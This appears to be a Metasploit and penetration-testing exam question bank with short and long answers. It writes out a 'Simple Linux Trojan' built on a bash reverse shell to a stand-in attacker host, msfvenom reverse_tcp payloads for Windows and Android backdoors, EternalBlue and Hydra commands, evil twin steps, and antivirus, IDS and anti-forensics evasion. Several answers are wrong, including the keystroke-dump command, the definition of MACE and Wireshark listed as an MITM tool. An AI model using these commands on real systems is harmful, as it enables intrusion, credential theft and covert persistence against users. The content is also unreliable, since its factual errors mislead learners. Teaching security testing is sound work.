Metasploit Framework Important Questions PDF

METASPLOIT FRAMEWORK IMPORTANT QUESTION 1. _______ refers to the ability to remotely access and control another computer's desktop environment. Ans:- Remote Desktop 2. _______ attack method that exploits the execution of malicious HTML files, typically through social engineering or drive-by download...

METASPLOIT FRAMEWORK IMPORTANT QUESTION 1. _______ refers to the ability to remotely access and control another computer's desktop environment. Ans:- Remote Desktop 2. _______ attack method that exploits the execution of malicious HTML files, typically through social engineering or drive-by downloads. Ans:- HTML Smuggling 3. Meterpreter supports various ________ protocols, including HTTP, HTTPS, and TCP, allowing you to bypass firewalls and network restrictions. Ans:- communication 4. Use the _______ command to transfer the VNC server executable to the target system. Ans:- upload 5. An SMB relay attack is a type of _________ attack where an attacker intercepts and relays messages between a client and server to gain unauthorized access. Ans:- Man-in-the-Middle 6. Use the ________ command to execute the script with any necessary parameters. Ans:- run 7. _______ prevent the automatic execution of commands when a new device is plugged In. Ans:- AutoRun settings 8. ____________ is a penetration testing tool that combines with the Metasploit framework, that focuses on wireless network attacks. Ans:- Karma Toolkit 9. ________ is a powerful post-exploitation framework used by penetration testers and security professionals to gain access and control over compromised systems. Ans:- Meterpreter 10. _______ allows the attacker to execute arbitrary commands on the compromised System. Ans:- Command Shell 11. ____________ involves assessing the security of wireless networks to identify Vulnerabilities. Ans:- Wireless Penetration Testing 12. By modifying ________, Meterpreter can maintain persistence on the system, even across reboots. Ans:- startup registry keys 13. ________ enables the attacker to upload, download, and modify files. Ans:- File System Access 14. _________to protect the connection between the client and server from Eavesdropping. Ans:- Encryption 15. _______ is a popular network sniffer and MITM tool that can intercept and modify traffic in real-time Ans:- Wireshark Objective-Type Questions 1. Which command is used to dump the keystrokes while keystroke sniffing? A) keystroke_dump B) keyscan_dump C) dump_keystroke D) dump keys Ans:- dump keys 2. Which command is used to interact with any channel A) channel -i ID B) -i process ID C) interact channel ID D) -channel ID interact Ans:- interact channel ID 3. The Meterpreter command that displays the current timeout configuration: A) enum_timeouts B) get timeouts C) get_timeouts D) set_timeouts Ans:- get_timeouts 4. What is SMB? A) server message block B) system management protocol C) system mail block D) server management block Ans:- server message block 5. Which of the following is/are common network services? A) SMB B) SSH C) FTP D) All of the above Ans:- All of the above 6. What is IDPS? A) Intrusion Detection and Prevention Server B) Intrusion Detection and Prevention System C) Intruder Detention and Prevention System D) Internal Detection and Protection System Ans:- Intrusion Detection and Prevention System 7. Attackers can manipulate network protocols in which of the following challenges to bypass detection A) Protocol Evolution B) Packet Evasion C) Protocol Evasion D) Packet Extraction Ans:- Protocol Evasion 8. What is HID? A) Human Interface Devices B) Heavy Interaction Device C) High Internet Distribution D) Human Interaction Disk Ans:- Human Interface Devices 9. For loading Karmetasploit which module is used? A) use auxiliary/service/karmetasploit B) use exploit/server/karmetasploit C) use exploit/service/karmetasploit D) use auxiliary/server/karmetasploit Ans:- use auxiliary/server/karmetasploit 10. Which of the following is the correct full form of “AP” A) Access protocol B) Access point C) Access packets D) Attack point Ans:- Access point 11. What is WPA? A) Wi-Fi Privacy Access B) Wired Protected Access C) Wired Privacy Authority D) Wi-Fi Protected Access Ans:- Wi-Fi Protected Access Short Answer Questions UNIT-1 1. What does a registry key store? Ans:- A registry key stores configuration settings and options for the operating system, installed applications, and system processes. 2. Mention the command used to check the transport list. Ans:- show transports 3. Provide the method to protect the data transmitted between a VNC client and server from being intercepted. Ans:- One method to protect data transmitted between a VNC client and server is to use SSH tunneling or enable TLS encryption for the VNC connection to ensure that the data is encrypted and secure from eavesdropping. 4. What is MACE value? Ans:- MACE (Mobile Authentication Credential) value is a unique identifier used for mobile device authentication, especially in contexts like mobile security or token-based authentication systems. 5. What is the role of Meterpreter API and mixins? Ans:- The Meterpreter API provides the core functionality for interacting with a compromised system, enabling penetration testers to issue commands, gather information, and maintain control over the system. Mixins are reusable modules that extend the Meterpreter's capabilities, allowing for easier interaction with different systems or environments. 6. Which method is used for VNC injection or enabling remote desktop? Ans:- A common method for VNC injection or enabling remote desktop is to use the VNC injection payload or exploit, typically integrated with Metasploit, which injects a VNC server onto the target machine, allowing remote access. 7. How to leverage Meterpreter capabilities? Ans: Meterpreter capabilities can be leveraged by issuing commands to gather information, exploit vulnerabilities, upload or download files, escalate privileges, and maintain persistence on the target system. Commands like sys info, hash dump, screen share, and upload interact with the compromised system. 8. List four points to secure a VNC connection. Ans:- Use strong passwords for VNC authentication. Enable encryption (such as TLS) for the VNC connection. Restrict access by IP address or network. Use a VPN or SSH tunneling to protect VNC traffic over untrusted networks. 9. Write down the tasks that can be automated with Meterpreter. Ans:- Tasks that can be automated with Meterpreter include: Information gathering (e.g., enum_users, sys info) Privilege escalation (e.g., get system) File manipulation (e.g., upload, download, edit) Persistence (e.g., creating startup registry keys) Post-exploitation tasks (e.g., keylogging, screenshot capturing) 10. Write an advantage of using sleep control with specific timing. Ans:- Using sleep control with specific timing can help evade detection by delaying the execution of commands, reducing the likelihood of triggering security alerts or IDS/IPS systems. 11. Write the importance of get-Desktop in the Keystroke-sniffing process. Ans:- The get-desktop command in Meterpreter is useful in the keystroke-sniffing process because it allows the attacker to capture the victim's desktop, providing a visual context of the activities being performed and allowing better correlation of keystrokes with the actions on the screen. 12. What do you understand by the concept of Meterpreter timeout control? Ans:- Manages communication timeout to prevent session disconnections due to network issues. 13. Why it is important to Interact with the target’s registry? Ans:- The registry contains valuable system information, such as credentials and configurations, for exploitation and persistence. 14. Write an advantage of using sleep control with specific timing. Ans:- Reduces the predictability of commands, avoiding detection by security tools. UNIT-2 1. What is the type of vulnerability that allows an attacker to execute commands directly on the targeted Linux server? Ans:- The vulnerability is known as Remote Code Execution (RCE). It allows an attacker to execute arbitrary commands or code remotely on the target system, typically due to flaws in software or misconfigurations. 2. What do you mean by server-side exploitation? Ans:- Server-side exploitation refers to an attack where the attacker targets vulnerabilities on the server itself to gain unauthorized access or control over it. The attacker exploits weaknesses in the server’s software, configuration, or services to compromise the system 3. What is Keylogging and Screen Capture? Ans:- Keylogging is the process of tracking and recording keystrokes typed by a user on a system, often used to capture sensitive information like passwords. Screen Capture involves taking snapshots or video captures of a user’s screen to monitor or steal sensitive information displayed on the screen. 4. Write common network services that can be exploited. Ans:- Common network services that can be exploited include: SMB (Server Message Block) SSH (Secure Shell) FTP (File Transfer Protocol) Telnet HTTP/HTTPS RDP (Remote Desktop Protocol) 5. How VNC injection can be used to exploit a machine? Ans:- VNC injection involves injecting a VNC server onto a compromised system, allowing the attacker to remotely control the machine. It is used to bypass local authentication and gain access to the system’s desktop environment for further exploitation. 6. Explain the process of enabling a remote desktop. Ans:- To enable remote desktop: 1. Install a VNC server or enable RDP (Remote Desktop Protocol) on the target system. 2. Configure appropriate authentication settings (e.g., set a password or restrict access by IP). 3. Open the necessary ports on the firewall (e.g., port 3389 for RDP or port 5900 for VNC). 4. Use a remote desktop client (e.g., Remote Desktop Connection for RDP or VNC Viewer for VNC) to connect to the target system. 5. Optionally, use encryption (e.g., SSH tunneling or TLS) to secure the connection. 7. How to leverage Meterpreter capabilities? Ans:- Meterpreter capabilities can be leveraged by: Gaining system information (e.g., sysinfo, ipconfig). Escalating privileges (e.g., get system). Maintaining persistence (e.g., creating registry entries, setting up backdoors). Exfiltrating data (e.g., download, upload). Exploiting vulnerabilities in other applications or services. 8. List four points to secure a VNC connection. Ans:- Use strong passwords, enable encryption (e.g., TLS), restrict IP access, and use VPN/SSH tunneling. Unit 3 1. What is Antivirus? Ans:- Antivirus is software designed to detect, prevent, and remove malicious software (malware) such as viruses, worms, and trojans, protecting systems from infections. 2. Define Network Segmentation. Ans:- Network segmentation is the practice of dividing a computer network into smaller, isolated subnets to improve security, performance, and manageability. 3. What is Application Whitelisting? Ans:- Application Whitelisting is a security approach that allows only pre-approved applications to run on a system, blocking unapproved or potentially harmful software from executing. 4. Difference between viruses and worms? Ans:- Virus: Requires a host file to spread and attaches itself to programs or files. Worm: A standalone program that spreads autonomously through networks without the need for a host file. 5. Write Command and Control (C&C) in establishing communication channels in Android Backdoors. Ans:- C&C (Command and Control) channels in Android backdoors establish communication between the attacker and the compromised device. Common methods include using HTTP(S), DNS tunneling, or custom protocols for sending commands and receiving data. 6. Outline the challenges in Bypassing Antivirus Systems. Ans:- Signature-based detection: Evasion of known virus signatures. Heuristic analysis: Bypassing behavioral detection methods. File packing and obfuscation: Hiding malicious code using encryption or compression. Sandboxing: Avoiding detection in virtualized environments. 7. What is the importance of Social Engineering for effective Client-side Exploitation? Ans:- Social engineering exploits human psychology to deceive users into performing actions that compromise their system, such as clicking malicious links, downloading harmful attachments, or providing sensitive information, making it crucial for client-side exploitation. 8. What are the Common Vulnerabilities to exploit PDF Files? Ans:-JavaScript vulnerabilities, buffer overflow, malformed PDFs, and embedded malicious links can be exploited to execute arbitrary code when a user opens a malicious PDF. 9. List out the Basic Components for creating a Simple Android Backdoor. Ans:- Payload: The malicious code executed on the device. Command & Control (C&C) server: To send commands to the compromised device. Exploited vulnerability: Used to deliver the backdoor (e.g., unpatched apps or services). Persistence mechanism: To ensure the backdoor survives reboots. 10. Define the Android backdoor and its relevance Ans:- An Android backdoor is a malicious application or code that provides unauthorized remote access to an Android device. It is relevant for gaining control over the device, stealing information, or executing commands remotely. 11. Explain techniques to Bypass Antivirus in brief. Ans:- Obfuscation: Making the code unreadable to antivirus scanners. Encryption: Encrypting the payload to avoid signature detection. Polymorphism: Changing the appearance of the malicious code each time it runs. Code injection: Injecting malicious code into trusted processes. 12. Write at least four examples of HID Attacks. Ans:- Keylogger attacks: Capturing keystrokes using a disguised USB device. Mouse jacking: Taking control of the mouse via USB devices. BadUSB: Malicious USB devices that exploit firmware vulnerabilities to take control. Credential theft: Using HID devices to steal login credentials. 13. Explain the consequences of Backdooring Executables. Ans:- Compromise of confidentiality, where sensitive data can be exfiltrated. Unauthorized access, allows attackers to control the system remotely. Persistence enables attackers to maintain long-term access. Loss of trust in the software and potential damage to the organization’s reputation. 14. What are the types of Linux Trojans? Ans:- Backdoor Trojans: Providing remote access to attackers. Rootkits: Hiding the presence of malicious activity. Downloader Trojans: Downloading and executing additional malware on the system. Ransomware Trojans: Encrypting files and demanding ransom for decryption. UNIT-4 1. Importance of signal strength in the Evil Twin attack. Ans:- Signal strength is crucial in an Evil Twin attack because a stronger signal from the rogue access point (AP) can attract more victims to connect, as devices automatically prefer stronger signals. By simulating a legitimate AP, attackers can lure users into connecting to the fake network. 2. What does the responder do while conducting SMB relay attacks? Ans:- In an SMB relay attack, the Responder listens for and intercepts SMB authentication requests. It then relays those requests to an SMB server, using the captured credentials to authenticate and gain unauthorized access to network resources. 3. What do you understand by Wireshark? Ans:-Wireshark is a widely-used network protocol analyzer that captures and inspects network traffic. It allows users to view detailed packet data, helping to troubleshoot network issues, detect vulnerabilities, or analyze malicious activity. 4. What are the SMB versions that have evolved till now? Ans:- The SMB (Server Message Block) protocol has evolved through several versions: SMB 1.0 (CIFS - Common Internet File System) SMB 2.0 (introduced in Windows Vista) SMB 3.0 (introduced in Windows 8 and Server 2012) SMB 3.1.1 (introduced in Windows 10 and Server 2016) 5. Name the command to install Karmetasploit Dependencies in Kali Linux. Ans:- sudo apt-get install libpcap-dev libsqlite3-dev 6. What are the best practices for Post-Exploitation Techniques? Ans:-Best practices for post-exploitation include: Establish persistence (e.g., through backdoors or scheduled tasks). Escalate privileges to gain full control. Gather intelligence (e.g., system information, network details). Exfiltrate data securely without detection. Clear logs and traces of exploitation to avoid detection. 7. Write down the steps for the de-authentication Attack. Ans:- The steps for a de-authentication Attack include: 1. Identify the target access point and clients. 2. Use a tool like aircrack-ng or mdk3 to send de-authentication frames to the target clients. 3. This causes the clients to disconnect from the access point, potentially leading them to reconnect to a malicious access point controlled by the attacker (Evil Twin attack). 4. Optionally, capture handshakes for later password cracking. 8. Identify common Targets for Capturing Credentials in an Evil twin attack. Ans:- Unwitting users, Wi-Fi-enabled devices, email logins, web applications. 9. What is Karmetasploit, its scope and purpose? Ans:- Karmetasploit is a penetration testing tool that combines with Metasploit to carry out wireless network attacks. It focuses on creating fake access points and performing attacks like Evil Twin or Man-in-the-Middle (MITM) to capture credentials and exploit vulnerabilities in wireless networks. 10. What is Packet Sniffing? Ans:- Packet sniffing refers to the practice of capturing and analyzing network packets to intercept and examine the data being transmitted over a network. It is often used for network troubleshooting, monitoring, or malicious activities like data exfiltration. 11. List out the strategies to mitigate the Evil twin attack. Ans:- Strategies to mitigate Evil Twin attacks include: Use WPA3 encryption for stronger security. Disable automatic Wi-Fi connection on devices and manually select trusted networks. Deploy Wi-Fi Protected Access (WPA) with strong passwords. Use VPNs (Virtual Private Networks) to encrypt all network traffic. Use wireless intrusion detection systems (WIDS) to detect rogue access points. 12. What are the tools used in a Wireless MITM attack? Ans:- Tools used for Wireless MITM (Man-in-the-Middle) attacks include: Ettercap: A powerful MITM tool for sniffing and intercepting traffic. Wireshark: For packet capture and analysis. Karma: Used to create fake access points for Evil Twin attacks. Aircrack-ng: A suite of tools for wireless network monitoring and penetration testing, including de-authentication attacks. Cain and Abel: A password recovery tool that can be used in MITM attacks to capture network traffic. Long Answer Questions Unit-1 1. What is a crucial step in preventing keystroke sniffing attacks? Ans:- Encryption is crucial to prevent keystroke sniffing attacks. Using SSL/TLS for securing communication channels ensures that any data, including keystrokes, is transmitted securely and is unreadable to sniffers on the network. 2. Explain the importance of Meterpreter resource scripts in getting the Meterpreter session. Ans:- Meterpreter resource scripts are essential because they allow the automation of tasks within a Meterpreter session. These scripts can be used to run a series of commands or set specific configurations automatically, helping penetration testers perform actions quickly and consistently during a post-exploitation phase. 3. Give an example with the command used to execute the script. Ans:- To execute a Meterpreter resource script, the following command is used: bash Copy code resource /path/to/script.rc This command runs the specified script, automating predefined actions in the Meterpreter session. 4. What is the registry key in Windows? Ans:- A registry key in Windows is a container for storing configuration settings and options in the Windows Registry, a database used by the operating system to store settings for both the operating system and installed applications. Each key holds a set of values that determine system behavior. 5. Elaborate the concept of creating and editing the registry key. Ans:- To create or edit a registry key, use the regedit tool or command line: Creating a Key: Navigate to the desired location in the Registry, right-click and select "New" → "Key", then name the new key. Editing a Key: Right-click the key or value to modify, and select "Modify" or "Delete" to change the contents or remove it. Command Line: You can also use commands like reg add to create new registry keys and values. Example: reg add "HKCU\Software\MyApp" /v "Setting1" /t REG_SZ /d "value" 6. Explain Advanced Meterpreter techniques. Ans:- Advanced Meterpreter techniques include: Pivoting: Using the compromised system as a jump point to access other internal systems. Persistence: Setting up backdoors that survive system reboots. Privilege escalation: Gaining higher-level access by exploiting system vulnerabilities. Mimikatz: Extracting credentials from memory. Network sniffing: Using a Meterpreter to capture network traffic or sessions. Keystroke logging: Logging keystrokes to capture sensitive information. 7. Elaborate the process of gathering information using VNC server injection. Ans:- VNC server injection is used for remote access to the target system. The process involves: 1. Installing the VNC server: Inject a VNC server executable into the target machine using tools like Meterpreter's upload command. 2. Connecting to the target: Use a VNC client to connect to the injected server, allowing for full access to the target machine's desktop.  3. Gathering information: Once connected, you can use the VNC session to gather system information, access files, and capture screen activities. 8. What is the importance of enabling remote desktops? Ans:- Enabling Remote Desktop allows an attacker or administrator to access and control a machine remotely, providing full control over the desktop environment for information gathering, troubleshooting, or exploitation. For attackers, it's a useful post-exploitation tool to maintain access to a compromised machine. 9. Write the process for setting up the connection with the remote desktop. Ans:- To set up a remote desktop connection, follow these steps: 1. Ensure Remote Desktop is enabled on the target machine (via System Properties). 2. Use Remote Desktop Protocol (RDP) client tools such as mstsc on Windows or Remmina on Linux to connect. 3. Provide the IP address or hostname of the target machine and enter credentials if required. 4. After authentication, you'll have access to the target machine's desktop. 10. Write the benefits and examples of using a VPN tunnel in conjunction with VNC in detail. Ans:- Benefits of using a VPN tunnel with VNC: Encryption: Protects the VNC connection from eavesdropping by encrypting the traffic. Bypassing firewalls: A VPN can bypass network restrictions, enabling access to VNC servers located behind firewalls or NAT. Enhanced security: Adds an additional layer of security to the VNC connection, making it harder for attackers to intercept or tamper with the session. Example: Use a VPN to securely connect to a network before using VNC to control a machine within that network, ensuring that all traffic between the client and server is encrypted. 11. Elaborate the process of setting up of multiple communication channels with the target. Ans:- To set up multiple communication channels with the target, you can: 1. Establish a primary connection (e.g., Meterpreter). 2. Create additional channels using other tools like HTTP, HTTPS, or reverse TCP. 3. Use port forwarding or tunneling to access internal systems through the compromised machine. 4. Simultaneously monitor different channels for data exfiltration, command execution, or further exploitation. 12. Discuss different methods used for Meterpreter anti-forensics. Ans:- Meterpreter anti-forensics methods include: Clearing logs: Use Meterpreter's clearev command to remove traces from event logs. File deletion: Erasing or modifying files that may indicate malicious activity. Persistence: Setting up hidden backdoors or manipulating system configurations to  avoid detection. Rootkit installation: Hiding malicious processes or files from detection tools. 13. Write detailed steps for VNC server injection remotely using the commands. Ans:- Upload VNC server executable to the target machine using Meterpreter: bash Copy code upload /path/to/vncserver.exe C:\\Windows\\Temp\\vncserver.exe Execute the VNC server on the target system: bash Copy code execute -f C:\\Windows\\Temp\\vncserver.exe Connect to the target machine using a VNC client by entering the IP address and port of the compromised machine. Access the desktop remotely and perform the desired actions. Unit-2 1. Describe the Linux Server Vulnerabilities. Ans:- Linux servers, like any other systems, are susceptible to various vulnerabilities, often due to misconfigurations, outdated software, or weak security policies. Common Linux server vulnerabilities include: a. Weak SSH Configurations: Default Credentials: Using default usernames and passwords is a common issue. Attackers can use brute-force attacks to gain access. Unrestricted SSH Access: Leaving SSH ports (usually port 22) open to the internet without additional security (e.g., IP whitelisting or using secure keys) makes it vulnerable to attacks. No Two-Factor Authentication (2FA): Lack of 2FA increases the risk of unauthorized access if credentials are compromised. b. Outdated Software and Packages: Linux servers with outdated operating systems, packages, and services often contain unpatched vulnerabilities. Attackers can exploit these to gain unauthorized access or escalate privileges. c. Misconfigured Web Services (Apache, Nginx):  Improper configurations, such as allowing directory listing, running services as root, or not setting up proper file permissions, can lead to unauthorized access or information leakage. d. Buffer Overflow Vulnerabilities: Some Linux applications, especially older ones written in C/C++, may have buffer overflow vulnerabilities. Attackers exploit these to execute arbitrary code or escalate privileges. e. Weak File Permissions: Misconfigured file and directory permissions can allow unauthorized users to access sensitive files, like configuration files with database credentials. f. Open Ports and Services: Running unnecessary services or leaving open ports can increase the attack surface. Attackers often use port scanning tools (e.g., Nmap) to identify open ports and services to exploit. g. SQL Injection in Web Applications: Vulnerable web applications hosted on Linux servers might be susceptible to SQL injection attacks, allowing attackers to execute arbitrary SQL commands on the backend database. 2. Explain the process to exploit the Windows machine. Ans:- a. Information Gathering: Use tools like Nmap to perform network scanning and identify open ports and running services on the target machine. For instance: bash Copy code nmap -sS -Pn -T4 -p- b. Identifying Vulnerabilities: Utilize vulnerability scanners like Nessus, OpenVAS, or Metasploit's auxiliary modules to find exploitable vulnerabilities in the system (e.g., outdated software versions, misconfigured services). c. Exploit Selection: Choose an appropriate exploit based on identified vulnerabilities. For example, if EternalBlue (MS17-010) vulnerability is present, use the corresponding Metasploit module: bash Copy code use exploit/windows/smb/ms17_010_eternalblue d. Payload Generation and Delivery: Generate a malicious payload using Metasploit or msfvenom. For example: bash Copy code msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o payload.exe Deliver the payload using phishing emails, malicious links, or by exploiting a remote code execution vulnerability. e. Gaining a Meterpreter Session: Once the payload is executed on the target, a Meterpreter session is established, giving the attacker control over the Windows machine. f. Post-Exploitation: The attacker can perform various tasks such as privilege escalation, data exfiltration, installing backdoors, and creating persistence. 3. Elaborate the steps of exploiting a Linux server. Ans:- Exploiting a Linux server involves several stages: a. Reconnaissance and Scanning: Start by gathering information about the target Linux server using tools like Nmap to identify open ports and running services: bash Copy code nmap -sV -O Use tools like Netcat or Telnet to manually interact with open ports and check for vulnerabilities. b. Vulnerability Analysis:  Utilize vulnerability scanners such as Nessus, Nikto, or OpenVAS to detect known vulnerabilities in services like Apache, Nginx, MySQL, or SSH. c. Exploiting SSH with Weak Credentials: If SSH is open and password authentication is allowed, try using a brute-force attack with tools like Hydra: bash Copy code hydra -l root -P /path/to/wordlist.txt ssh:// d. Exploiting Web Applications: If the server hosts a web application, look for vulnerabilities such as SQL Injection, Command Injection, or Local File Inclusion (LFI). Use tools like SQLmap for SQL Injection: bash Copy code sqlmap -u "http:///vulnerable_page.php?id=1" --dbs e. Using Exploit Frameworks: Use frameworks like Metasploit to exploit detected vulnerabilities. For example, if the target server is running an outdated version of ProFTPD with a known vulnerability, use the Metasploit module: bash Copy code use exploit/unix/ftp/proftpd_modcopy_exec f. Privilege Escalation: After gaining initial access, use privilege escalation techniques to obtain root access. Check for SUID binaries, misconfigured sudoers files, or kernel vulnerabilities. g. Maintaining Access: Establish persistence by creating a cron job, modifying SSH configurations, or setting up a reverse shell. 4. Discuss the process of exploitation of common network services. Ans:- Common network services such as FTP, SMTP, HTTP, and SMB can be exploited due to their vulnerabilities or misconfigurations: a. Exploiting FTP (File Transfer Protocol): Anonymous Login: Some FTP servers allow anonymous login without authentication. Use the following command to check: bash Copy code ftp Exploiting Buffer Overflow: If the FTP service is outdated, it might be vulnerable to a buffer overflow exploit. Use Metasploit to exploit it: bash Copy code use exploit/unix/ftp/vsftpd_234_backdoor b. Exploiting HTTP (Web Servers and Applications): Directory Traversal: This vulnerability allows attackers to access files outside the web root directory by manipulating URL paths: bash Copy code http:///../../../etc/passwd Remote Code Execution (RCE): Exploiting vulnerable web applications that allow attackers to execute arbitrary code on the server. Use tools like Burp Suite to manipulate HTTP requests and inject malicious payloads. c. Exploiting SMB (Server Message Block): EternalBlue (MS17-010): This is a famous vulnerability in SMBv1 that allows remote code execution. Attackers can exploit it using Metasploit: bash Copy code use exploit/windows/smb/ms17_010_eternalblue SMB Relay Attack: Attackers relay captured SMB authentication requests to another machine to gain unauthorized access. d. Exploiting SMTP (Simple Mail Transfer Protocol):  Email Spoofing: Attackers can exploit weak SMTP configurations to send spoofed emails that appear to come from a legitimate domain. User Enumeration: Attackers can determine valid email addresses on the server by observing SMTP responses to the VRFY command. e. Exploiting DNS (Domain Name System): DNS Amplification Attack: This is a type of DDoS attack where attackers send a small query to a DNS server, which then sends a large response to the victim, overwhelming their network. DNS Cache Poisoning: Attackers insert malicious entries into the DNS cache, redirecting users to malicious websites. Unit-3 1. Explain the techniques to Bypass IDS/IPS in detail. Ans:- Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) are designed to detect and block malicious activity. However, attackers employ various techniques to bypass these systems: a. Encryption: Technique: Attackers use encryption (e.g., HTTPS or VPNs) to conceal malicious payloads. Encrypted traffic prevents IDS/IPS from inspecting packet contents. Mitigation: Use SSL/TLS inspection or terminate encrypted traffic on a proxy for analysis. b. Fragmentation: Technique: Attackers split malicious payloads into smaller fragments across multiple packets. Fragmentation can make it harder for IDS/IPS to reconstruct and analyze the entire payload. Mitigation: Use systems capable of reassembling fragmented packets before inspection. c. Polymorphic Code: Technique: Polymorphic malware changes its code with each execution, making it difficult for signature-based IDS/IPS to detect. Mitigation: Utilize behavior-based detection and sandboxing techniques. d. Evasion through Obfuscation:  Technique: Attackers obfuscate malicious code using techniques like base64 encoding, encryption, or adding junk code to avoid detection. Mitigation: Use advanced analysis tools that can deobfuscate and analyze hidden code. e. HTTP Tunneling: Technique: Malicious traffic is hidden within legitimate HTTP requests. Attackers tunnel command-and-control (C2) traffic through HTTP to blend with regular web traffic. Mitigation: Analyze HTTP traffic patterns and monitor for abnormal behaviors. f. Timing Attacks: Technique: Attackers send malicious packets slowly over time to avoid triggering IDS/IPS rate-based rules. Mitigation: Implement anomaly detection systems that monitor unusual patterns in traffic timing. 2. Elaborate the methodology of detection in IDS/IPS in detail. Ans:- IDS/IPS use multiple methods to detect malicious activities: a. Signature-Based Detection: Description: The system uses predefined signatures (patterns) to detect known threats. Each signature corresponds to a specific attack or vulnerability. Pros: Effective against known threats and quick to deploy. Cons: Ineffective against new, unknown (zero-day) threats. Example: Detection of specific strings in a packet that indicate SQL Injection attacks. b. Anomaly-Based Detection: Description: The system establishes a baseline of normal network behavior and detects deviations from this baseline as potential threats. Pros: Can detect unknown or zero-day attacks. Cons: High rate of false positives due to dynamic changes in network traffic. Example: Detecting a spike in network traffic that may indicate a DDoS attack. c. Heuristic Detection: Description: Uses algorithms to analyze and identify suspicious activity based on known malicious behaviors or heuristics. Pros: Effective at identifying unknown threats with similar behaviors to known attacks. Cons: May require complex configuration and tuning to reduce false positives. d. Behavioral Detection: Description: Monitors the behavior of users and systems over time. Detects anomalies based on changes in normal behavior patterns.  Pros: Good at identifying insider threats and sophisticated attacks. Cons: Requires a learning phase and may result in initial false positives. e. Stateful Protocol Analysis: Description: Examines traffic patterns and protocol states to detect deviations from the expected protocol behavior. Pros: Provides deeper inspection of protocol-specific attacks. Cons: Resource-intensive and may not scale well in high-traffic environments. 3. How to Create a Trojan? Write the steps to Create a Simple Linux Trojan. Ans:- Creating a simple Linux Trojan involves the following steps. Note: This is for educational purposes only. a. Writing the Payload: bash Copy code #!/bin/bash # Simple reverse shell bash -i >& /dev/tcp/attacker_ip/port 0>&1 b. Compiling the Trojan: Save the script as trojan.sh and compile it (optional) using tools like shc: bash Copy code shc -f trojan. sh c. Disguising the Trojan: Rename the executable to appear as a legitimate application: bash Copy code mv trojan.sh.x example_application d. Delivery: Use social engineering to deliver the Trojan to the target (e.g., through email). 4. Describe different attack techniques to exploit PDF Files. Ans:- PDF files can be exploited using various techniques: a. Malicious JavaScript: Embedding malicious JavaScript in a PDF to execute code when the file is opened. b. Exploiting Vulnerabilities in PDF Readers: Using exploits for known vulnerabilities in popular PDF readers (e.g., buffer overflow vulnerabilities in Adobe Reader). c. Embedded Files: Embedding malicious executables or scripts in a PDF that execute upon opening. 5. Give a detailed description of Indicators of Compromise and security tools in detecting Android Backdoors. Ans:- Indicators of Compromise (IoCs): Unusual network traffic (e.g., connecting to unknown C2 servers). Presence of unauthorized apps with elevated permissions. Battery drain or overheating. Tools for Detection: Mobile Threat Detection Tools: Lookout, Zimperium. Network Monitoring: Wireshark, NetFlow. 6. Describe Techniques for Effective Client-side Exploitation. Ans:- Social Engineering: Crafting convincing phishing emails with malicious attachments. b. Drive-by Downloads: Exploiting vulnerabilities in browsers or plugins to deliver malware. c. File Exploits: Embedding malicious payloads in common files (e.g., Word or PDF documents). 7. Explain the HTA Attack, its working, and the Defence mechanism. Ans:- HTML Application (HTA) Attack: Working: HTA files are executed as standalone applications. Attackers create malicious HTA files that execute code when opened. Defense: Disable execution of HTA files via Group Policy and educate users on the risks of opening unknown files. 8. What is the role of Backdooring Executables Using a Man-in-the-Middle (MITM) Attack? Ans:- In MITM attacks, attackers intercept and modify legitimate executables being downloaded, replacing them with malicious versions that include a backdoor, thus gaining control when executed. 9. What do you mean by Word Document Vulnerabilities? Ans:- Word documents can be exploited using macro-based malware or embedded OLE objects that execute malicious code when the document is opened 10. Explain attack techniques for Word Document Vulnerabilities and indicators of compromise for detection of exploitation. Ans:- Attack Techniques: Malicious Macros: Using VBA macros to execute code. Exploiting Vulnerabilities: Using CVE exploits (e.g., CVE-2017-0199). Indicators of Compromise: Unexpected network connections. Presence of new files or executables. 11. Write detailed steps to create an Android Backdoor with an understanding of the techniques and Mitigation Strategies. Ans:- a. Creating the Payload: Use msfvenom to create an Android payload: bash Copy code msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT= -o backdoor.apk b. Signing the APK: Sign the APK to bypass installation restrictions. c. Delivering the APK: Use social engineering to trick the user into installing the backdoor. d. Mitigation Strategies: Use anti-malware solutions, update software, and educate users on the dangers of installing unknown apps. Unit-4 1. How to Perform an Evil Twin Attack. Explain in detail. Ans:- An Evil Twin attack involves creating a fake Wi-Fi access point (AP) that mimics a legitimate one to deceive users into connecting to it. Here's how it can be performed: a. Prerequisites: A laptop/PC with a Wi-Fi adapter that supports monitor mode. Kali Linux or any other penetration testing OS. Tools: airmon-ng, airbase-ng, Wireshark, and dnsmasq. b. Steps: Step 1: Identify the Target Network: Use airmon-ng to set your Wi-Fi adapter to monitor mode: bash Copy code airmon-ng start wlan0 Scan for nearby networks using airodump-ng: bash Copy code airodump-ng wlan0mon Identify the target network’s SSID and channel. Step 2: Create a Fake Access Point: Use airbase-ng to create a fake AP with the same SSID as the target network: bash Copy code airbase-ng -e "Target_SSID" -c wlan0mon Step 3: Configure DHCP and Internet Sharing: Edit the dnsmasq configuration file to provide IP addresses to connected clients. Start dnsmasq to assign IPs: bash Copy code dnsmasq -C /path/to/dnsmasq.conf Step 4: Capture Credentials: Run a packet sniffer like Wireshark to capture traffic from connected devices. If a captive portal is set up, prompt users to enter their credentials, which are then captured by the attacker. 2. Outline Legal and Ethical Considerations in while conducting an SMB relay attack. Ans:- Authorization: Ensure you have explicit permission to conduct SMB relay attacks, typically via a signed agreement (e.g., penetration testing contract). Compliance: Adhere to laws and regulations like GDPR, HIPAA, or PCI DSS, depending on the data being accessed. Risk Management: Assess the potential risks of the attack, such as unintended data loss or service disruption. Data Protection: Avoid accessing or collecting sensitive data beyond what is necessary for testing. Reporting: Provide a detailed report of findings and vulnerabilities discovered during the attack. 3. Identify signs of MITM Attack. Ans:- Unusual Network Traffic: Unexpected spikes or patterns in network traffic. SSL/TLS Certificate Warnings: Frequent browser warnings about invalid or mismatched certificates. Slow Internet Speed: Delays or slowdowns due to packet interception. Unauthorized Access Points: Unknown Wi-Fi networks mimicking legitimate ones (Evil Twin). Unexplained Changes in DNS Settings: DNS entries pointing to malicious servers. 4. What is SMB Protocol? Ans:- Server Message Block (SMB) is a network file-sharing protocol primarily used for providing shared access to files, printers, and serial ports in a network. Features: File and printer sharing Network browsing Authentication and session establishment Versions: SMB 1.0: The original version, vulnerable to several attacks (e.g., WannaCry). SMB 2.0: Improved performance and security. SMB 3.0: Enhanced encryption and secure negotiation features. 